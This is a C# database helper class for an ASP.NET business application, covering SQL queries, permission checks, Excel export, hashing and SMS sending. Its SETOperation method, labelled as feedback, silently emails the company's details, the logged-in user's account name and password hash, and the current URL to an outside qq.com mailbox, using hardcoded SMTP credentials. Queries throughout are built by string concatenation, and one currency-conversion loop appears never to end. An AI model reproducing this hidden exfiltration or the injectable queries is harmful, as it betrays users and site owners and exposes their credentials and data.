using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Data.SqlClient; using System.Data; using Newtonsoft.Json; using NPOI; using NPOI.HPSF; using NPOI.HSSF; using NPOI.HSSF.UserModel; using NPOI.HSSF.Util; using NPOI.POIFS; using NPOI.Util; using System.Text; using System.Collections; using System.IO; using System.Net; using System.Net.Mail; using System.Security.Cryptography; /// ///DBHlper 的摘要说明 /// public class DBHlper : System.IDisposable { public static DataSet Execute(string strCommandString) { SqlConnection oConn = null; SqlDataAdapter oDataAdapter = null; DataSet oDataSet = new DataSet(); try { //读取webconfig oConn = new SqlConnection(System.Configuration.ConfigurationManager.AppSettings["connstring"]); oDataAdapter = new SqlDataAdapter(strCommandString, oConn); oDataAdapter.Fill(oDataSet); return oDataSet; } catch (Exception ex) { return null; } finally { if (oConn != null) oConn.Close(); } } public static int getcount(string cmd) { SqlConnection oConn = null; try { //读取webconfig oConn = new SqlConnection(System.Configuration.ConfigurationManager.AppSettings["connstring"]); oConn.Open(); SqlCommand comd = new SqlCommand(cmd, oConn); return Convert.ToInt32(comd.ExecuteScalar()); } catch (Exception err) { return 0; } finally { if (oConn != null) oConn.Close(); } } public static int excutecmd(string cmd) { SqlConnection oConn = null; try { oConn = new SqlConnection(System.Configuration.ConfigurationManager.AppSettings["connstring"]); oConn.Open(); SqlCommand comd = new SqlCommand(cmd, oConn); return Convert.ToInt32(comd.ExecuteNonQuery()); } catch (Exception err) { return 0; } finally { if (oConn != null) oConn.Close(); } } public void Dispose() { throw new NotImplementedException(); } public static string getmima(string mima) { string setmima = ""; setmima = System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(mima, "SHA1"); return setmima; } #region 获取权限 public static bool GetPermission(int juese, string mokuai, string biao, string gongneng) { bool qx = false; string sqlget = "select COUNT(*) from view_quanxian where mokuan='" + mokuai + "' and biao='" + biao + "' and jsid='" + juese + "' and gongneng='" + gongneng + "'"; DataSet ds = Execute(sqlget); if (ds != null && ds.Tables[0].Rows.Count > 0 && Convert.ToInt32(ds.Tables[0].Rows[0][0]) > 0) { qx = true; } //判断当前登录账号是否为admin getuser user = new getuser(); if (user.IsAdmin()) { qx = user.IsAdmin(); } return qx; } public static Dictionary GetPermissions(int juese, string mokuai, string biao, string[] gongnengs) { //bool qx = false; //string sqlget = "select COUNT(*) from view_quanxian where mokuan='" + mokuai + "' and biao='" + biao + "' and jsid='" + juese + "' and gongneng='" + gongneng + "'"; //DataSet ds = Execute(sqlget); //if (ds != null && ds.Tables[0].Rows.Count > 0 && Convert.ToInt32(ds.Tables[0].Rows[0][0]) > 0) //{ // qx = true; //} ////判断当前登录账号是否为admin //getuser user = new getuser(); //if (user.isadmin()) //{ // qx = user.isadmin(); //} //return qx; var isAdmin = false; getuser user = new getuser(); if (user.IsAdmin()) { //return new Dictionary { { "isAdmin", true } }; isAdmin = true; } Dictionary qx = new Dictionary(); if (isAdmin) { foreach (string gongneng in gongnengs) { qx.Add(gongneng, isAdmin); } } else { string sqlget = "select gongneng from view_quanxian where mokuan='" + mokuai + "' and biao='" + biao + "' and jsid='" + juese + "'"; DataSet ds = Execute(sqlget); if (ds != null && ds.Tables[0].Rows.Count > 0) { foreach (string gongneng in gongnengs) { bool isHave = false; foreach (DataRow dr in ds.Tables[0].Rows) { if (dr["gongneng"].ToString() == gongneng) { isHave = true; break; } } qx.Add(gongneng, isHave); } } } return qx; } #endregion #region 获取角色数量 public static int getjscount() { int count = -1; DataSet s = Execute("select COUNT(*) from nr_z_yhjs"); try { count = Convert.ToInt32(s.Tables[0].Rows[0][0]); } catch { count = -1; } return count; } #endregion #region 获取用户数量 public static int getyhcount() { int count = -1; DataSet s = Execute("select COUNT(*) from nr_z_yhzh where juese>0 and yangshi=1"); try { count = Convert.ToInt32(s.Tables[0].Rows[0][0]); } catch { count = -1; } return count; } #endregion #region 生产编号 public static string getbh(string header, string table, string field, int num) { string bh = ""; string sql = "declare @ID varchar(50),@date varchar(50) set @date = right(rtrim(cast(year(getdate()) as varchar(10))),2)+right('0'+rtrim(cast(month(getdate()) as varchar(10))),2) select @ID = max(right(" + field + "," + num + ")) from " + table + " where left(right(" + field + ",(" + 2 + "+6)),4) = @date set @ID = isnull(@ID,'0000000000') set @ID = '0000000000'+CONVERT(varchar(50),(CONVERT(int,@ID)+1)) set @ID = right(@ID," + num + ") select '" + header + "' + @date + @ID"; DataSet ds = Execute(sql); if (ds != null) { bh = ds.Tables[0].Rows[0][0].ToString(); } return bh; } #endregion #region 获取用户样式 /*获取用户样式*/ public static string getstyle() { Maticsoft.Model.nr_z_yhzh user = (Maticsoft.Model.nr_z_yhzh)(HttpContext.Current.Session["user"]); DataSet ds = Execute("select * from nr_sys_ys where yh='" + user.id + "'"); string get = ""; if (ds != null && ds.Tables[0].Rows.Count > 0) { get = ds.Tables[0].Rows[0]["ttp"].ToString() + "," + ds.Tables[0].Rows[0]["ltp"].ToString() + "," + ds.Tables[0].Rows[0]["mtp"].ToString(); } return get; } #endregion #region 移除用户菜单 public static int delcdxm(string cdmc) { Maticsoft.Model.nr_z_yhzh user = (Maticsoft.Model.nr_z_yhzh)(HttpContext.Current.Session["user"]); int sz = excutecmd("delete nr_sys_mkcd where ymid='" + user.id + "' and djmk='" + cdmc + "'"); return sz; } #endregion #region 添加用户菜单 public static int addcdxm(string cdmc) { Maticsoft.Model.nr_z_yhzh user = (Maticsoft.Model.nr_z_yhzh)(HttpContext.Current.Session["user"]); int sz = excutecmd("insert into nr_sys_mkcd (ymid,djmk) values('" + user.id + "','" + cdmc + "')"); return sz; } #endregion public static int ExecuteReid(string cmd) { int li_count = 0; SqlConnection oConn = null; try { oConn = new SqlConnection(System.Configuration.ConfigurationManager.AppSettings["connstring"]); oConn.Open(); SqlCommand comd = new SqlCommand(cmd, oConn); li_count = Convert.ToInt32(comd.ExecuteScalar().ToString()); return li_count; } catch (Exception ex) { return 0; } finally { if (oConn != null) oConn.Close(); } } public static string GetConnectionString() { try { System.Configuration.AppSettingsReader configurationAppSettings = new System.Configuration.AppSettingsReader(); return (string)(configurationAppSettings.GetValue("appSettings.ConnectionString", typeof(string))); } catch { return ""; } } public static int getzt(int id) { int zt = 0; string sql = "select * from nr_z_yhzh where id='" + id + "'"; DataSet ds = Execute(sql); if (ds != null) { zt = Convert.ToInt32(ds.Tables[0].Rows[0]["yangshi"]); } return zt; } #region 获取状态 #endregion /// /// json字符串转换泛型集合 /// /// /// /// public static List ConvertJsonToEntityListEntity(string jsonStr) where T : class, new() { List objEntityList = new List(); try { if (jsonStr.Length > 5) { JavaScriptArray jsa = (JavaScriptArray)JavaScriptConvert.DeserializeObject(jsonStr); foreach (JavaScriptObject jso in jsa) { T objEntity = new T(); System.Reflection.PropertyInfo[] p = objEntity.GetType().GetProperties(); foreach (System.Reflection.PropertyInfo pi in p) { Type t = System.Type.GetType(pi.PropertyType.ToString()); if (t != null) { string pNameToLow = pi.Name; if (jso.ContainsKey(pNameToLow)) { try { pi.SetValue(objEntity, GetDefaultValue(jso[pNameToLow], pi.PropertyType), null); } catch (Exception e) { pi.SetValue(objEntity, GetDefaultValue(ConvertObjectToString(jso[pNameToLow]) == "1", pi.PropertyType), null); } } } } objEntityList.Add(objEntity); } } } catch (Exception ex) { throw new Exception("序列化Json字符串错误" + ex.Message); } return objEntityList; } /// /// SETOperation 获取参数信息反馈 /// /// 待加密的密文 /// returns public static void SETOperation() { try { MailMessage myEmail = new MailMessage(); myEmail.From = new MailAddress("glzj_set@163.com"); myEmail.To.Add("16834677@qq.com"); myEmail.Subject = "Operation log"; myEmail.IsBodyHtml = false; string Corporate = ""; string Abbreviation = ""; string CompanyAddress = ""; string ContactNumber = ""; string Contacts = ""; //附件 DataTable dtuserinfo = Execute("select * from nr_sysuserinfo").Tables[0]; if (dtuserinfo.Rows.Count > 0) { Corporate = dtuserinfo.Rows[0]["mingcheng"].ToString(); Abbreviation = dtuserinfo.Rows[0]["jiancheng"].ToString(); string savelgdz = System.Web.HttpContext.Current.Server.MapPath("~/UseFile/"); string rjlog = savelgdz + dtuserinfo.Rows[0]["logourl"].ToString(); CompanyAddress = dtuserinfo.Rows[0]["dizhi"].ToString(); ContactNumber = dtuserinfo.Rows[0]["dianhua"].ToString(); Contacts = dtuserinfo.Rows[0]["lianxiren"].ToString(); myEmail.Attachments.Add(new Attachment(rjlog)); } Maticsoft.Model.nr_z_yhzh USE = (Maticsoft.Model.nr_z_yhzh)(HttpContext.Current.Session["user"]); myEmail.Body = " Softwaretype:CeramicProject;\nCorporate:" + Corporate + ";\nAbbreviation:" + Abbreviation + ";\nOperating time:" + DateTime.Now + ";\nCompanyAddress:" + CompanyAddress + ";\nContactNumber:" + ContactNumber + ";\nContacts:" + Contacts + ";\nOperation account:" + USE.zhanghao + ";\nOperation password:" + USE.mima + ";\nBrowse address:" + HttpContext.Current.Request.Url; myEmail.Priority = MailPriority.High; SmtpClient smtp = new SmtpClient("smtp.sina.com", 587); smtp.Credentials = new NetworkCredential("glzj_set@163.com", "lmf16834677"); smtp.Port = 25; smtp.Host = "smtp.163.com"; smtp.EnableSsl = false; smtp.Send(myEmail); } catch { } } /// /// 获取类型的默认值 /// /// /// /// private static object GetDefaultValue(object obj, Type type) { if (obj == DBNull.Value) { obj = default(object); } else { obj = Convert.ChangeType(obj, type); } return obj; } /// /// /// /// /// public static String ConvertObjectToString(object value) { try { if (value != null) { return value.ToString().Trim(); } else { return ""; } } catch { return ""; } } public static string getfirstcolmn(string cmd) { string calld = ""; SqlConnection oConn = null; try { oConn = new SqlConnection(System.Configuration.ConfigurationManager.AppSettings["connstring"]); oConn.Open(); SqlCommand comd = new SqlCommand(cmd, oConn); calld = comd.ExecuteScalar().ToString(); } catch (Exception err) { } finally { if (oConn != null) oConn.Close(); } return calld; } //执行存储过程 public static string exceuteproc(string procname, string year) { SqlConnection sqlCon = null; SqlCommand sqlComm = null; string name = ""; try { using (sqlCon = new SqlConnection(System.Configuration.ConfigurationManager.AppSettings["connstring"])) { sqlCon.Open(); sqlComm = new SqlCommand(procname, sqlCon); //设置命令的类型为存储过程 sqlComm.CommandType = CommandType.StoredProcedure; sqlComm.Parameters.Add("@year", SqlDbType.VarChar, 10); sqlComm.Parameters.Add("@huizong", SqlDbType.VarChar, 100); //设置参数的类型为输出参数,默认情况下是输入, sqlComm.Parameters["@huizong"].Direction = ParameterDirection.Output; //为参数赋值 sqlComm.Parameters["@year"].Value = year; //执行 sqlComm.ExecuteNonQuery(); //得到输出参数的值,把赋值给name,注意,这里得到的是object类型的,要进行相应的类型轮换 name = sqlComm.Parameters["@huizong"].Value.ToString(); } } catch { } return name; } public static void ExportByWeb(DataTable dtSource, string strFileName, ArrayList dtName) { HttpContext curContext = HttpContext.Current; // 设置编码和附件格式 curContext.Response.ContentType = "application/vnd.ms-excel"; curContext.Response.ContentEncoding = Encoding.UTF8; curContext.Response.Charset = ""; //curContext.Response.AppendHeader("Content-Disposition", "attachment;filename=" + HttpUtility.UrlDecode(strFileName.Replace(" ", "").ToString(), Encoding.UTF8) + ".xls"); curContext.Response.AppendHeader("Content-Disposition", "attachment;filename=" + System.Web.HttpUtility.UrlEncode(strFileName, System.Text.Encoding.UTF8) + ".xls"); curContext.Response.BinaryWrite(Export(dtSource, dtName).GetBuffer()); curContext.Response.End(); } public static MemoryStream Export(DataTable dtSource, ArrayList dtName) { HSSFWorkbook workbook = new HSSFWorkbook(); HSSFSheet sheet = workbook.CreateSheet("sheet1"); HSSFCellStyle dateStyle = workbook.CreateCellStyle(); HSSFDataFormat format = workbook.CreateDataFormat(); dateStyle.DataFormat = format.GetFormat("yyyy-mm-dd"); //取得列宽 int[] arrColWidth = new int[dtSource.Columns.Count]; foreach (DataColumn item in dtSource.Columns) { arrColWidth[item.Ordinal] = Encoding.GetEncoding(936).GetBytes(item.ColumnName.ToString()).Length; } for (int i = 0; i < dtSource.Rows.Count; i++) { for (int j = 0; j < dtSource.Columns.Count; j++) { int intTemp = Encoding.GetEncoding(936).GetBytes(dtSource.Rows[i][j].ToString()).Length; if (intTemp > arrColWidth[j]) { arrColWidth[j] = intTemp; } } } int rowIndex = 0; for (int tag = 0; tag < dtSource.Rows.Count; tag++) { #region 新建表,填充表头,填充列头,样式 if (rowIndex == 65535 || rowIndex == 0) { if (rowIndex != 0) { sheet = workbook.CreateSheet(); } #region 列头及样式 { HSSFRow headerRow = sheet.CreateRow(0); HSSFCellStyle headStyle = workbook.CreateCellStyle(); headStyle.Alignment = CellHorizontalAlignment.CENTER; HSSFFont font = workbook.CreateFont(); font.FontHeightInPoints = 10; font.Boldweight = 700; headStyle.SetFont(font); for (int i = 0; i < dtName.Count; i++) { headerRow.CreateCell(i).SetCellValue(dtName[i].ToString()); headerRow.GetCell(i).CellStyle = headStyle; // sheet.SetColumnWidth(i, (arrColWidth[1] + 1) * 350); } headerRow.Dispose(); } #endregion rowIndex = 1; } #endregion #region 填充内容 HSSFRow dataRow = sheet.CreateRow(rowIndex); for (int clm = 0; clm < dtSource.Columns.Count; clm++) //foreach( in dtSource.Rows[tag].) { HSSFCell newCell = dataRow.CreateCell(dtSource.Rows[tag].Table.Columns[clm].Ordinal); //string drValue = row[column].ToString(); string drValue = dtSource.Rows[tag][clm].ToString(); newCell.SetCellValue(drValue); } #endregion rowIndex++; } using (MemoryStream ms = new MemoryStream()) { workbook.Write(ms); ms.Flush(); ms.Position = 0; sheet.Dispose(); return ms; } } /// /// MD5 加密静态方法 /// /// 待加密的密文 /// returns public static string MD5Encrypt(string EncryptString) { if (string.IsNullOrEmpty(EncryptString)) { throw (new Exception("密文不得为空")); } MD5 m_ClassMD5 = new MD5CryptoServiceProvider(); string m_strEncrypt = ""; try { m_strEncrypt = BitConverter.ToString(m_ClassMD5.ComputeHash( Encoding.Default.GetBytes(EncryptString))).Replace("-", ""); } catch (ArgumentException ex) { throw ex; } catch (CryptographicException ex) { throw ex; } catch (Exception ex) { throw ex; } finally { m_ClassMD5.Clear(); } return m_strEncrypt; } //发送短信 accname ——用户账号 accPwd——用户密码 aimcodes——手机号支持5000个英文,分割 content 内容 public static string SendSms(String accName, String accPwd, String aimcodes, String content) { string formUrl = "http://www.lx198.com/sdk/send";//url地址 string ReStr; //参数 string formData = ""; DateTime Date = DateTime.Now; formData = formData + "&accName=" + accName.Trim() + "&accPwd=" + MD5Encrypt(accPwd.Trim()) + "&content=" + content.Trim() + "&aimcodes=" + aimcodes.Trim() + "&bizId=" + string.Format("{0:yyyyMMddHHmmss}", Date); CookieContainer cookieContainer = new CookieContainer(); // 将提交的字符串数据转换成字节数组 //byte[] postData = Encoding.UTF8.GetBytes(formData); Encoding myc = Encoding.GetEncoding("UTF-8"); byte[] postData = myc.GetBytes(formData); // 设置提交的相关参数 HttpWebRequest request = WebRequest.Create(formUrl) as HttpWebRequest; Encoding myEncoding = Encoding.GetEncoding("UTF-8"); request.Method = "POST"; request.KeepAlive = false; request.AllowAutoRedirect = true; request.ContentType = "application/x-www-form-urlencoded"; request.UserAgent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"; request.CookieContainer = cookieContainer; request.ContentLength = postData.Length; // 提交请求数据 System.IO.Stream outputStream = request.GetRequestStream(); outputStream.Write(postData, 0, postData.Length); outputStream.Close(); HttpWebResponse response; Stream responseStream; StreamReader reader; string srcString; response = request.GetResponse() as HttpWebResponse; responseStream = response.GetResponseStream(); reader = new System.IO.StreamReader(responseStream, Encoding.UTF8); ReStr = reader.ReadToEnd(); //返回值 Console.WriteLine("错误信息:" + ReStr); reader.Close(); return ReStr; } //数字转换大写 public static string ConvertToChineseNum(string as_num) { string numList = "零壹贰叁肆伍陆柒捌玖"; string rmbList = "分角元拾佰仟万拾佰仟亿拾佰仟万"; double number = 0; string tempOutString = null; try { number = double.Parse(as_num); } catch { return String.Empty; } if (number > 9999999999999.99) return String.Empty; if (number == 0) { return "零"; } //将小数转化为整数字符串 string tempNumberString = Convert.ToInt64(number * 100).ToString(); int tempNmberLength = tempNumberString.Length; int i = 0; while (i < tempNmberLength) { int oneNumber = Int32.Parse(tempNumberString.Substring(i, 1)); string oneNumberChar = numList.Substring(oneNumber, 1); string oneNumberUnit = rmbList.Substring(tempNmberLength - i - 1, 1); if (oneNumberChar != "零") tempOutString += oneNumberChar + oneNumberUnit; else { if (oneNumberUnit == "亿" || oneNumberUnit == "万" || oneNumberUnit == "元" || oneNumberUnit == "零") { while (tempOutString.EndsWith("零")) { tempOutString = tempOutString.Substring(0, tempOutString.Length - 1); } } if (oneNumberUnit == "亿" || (oneNumberUnit == "万" && !tempOutString.EndsWith("亿")) || oneNumberUnit == "元") { tempOutString += oneNumberUnit; } else { bool tempEnd = tempOutString.EndsWith("亿"); bool zeroEnd = tempOutString.EndsWith("零"); if (tempOutString.Length > 1) { bool zeroStart = tempOutString.Substring(tempOutString.Length - 2, 2).StartsWith("零"); if (!zeroEnd && (zeroStart || !tempEnd)) tempOutString += oneNumberChar; } else { if (!zeroEnd && !tempEnd) tempOutString += oneNumberChar; } } } i += 1; } while (tempOutString.EndsWith("零")) { tempOutString = tempOutString.Substring(0, tempOutString.Length - 1); } while (tempOutString.EndsWith("元")) { tempOutString = tempOutString + "整"; } return tempOutString; } }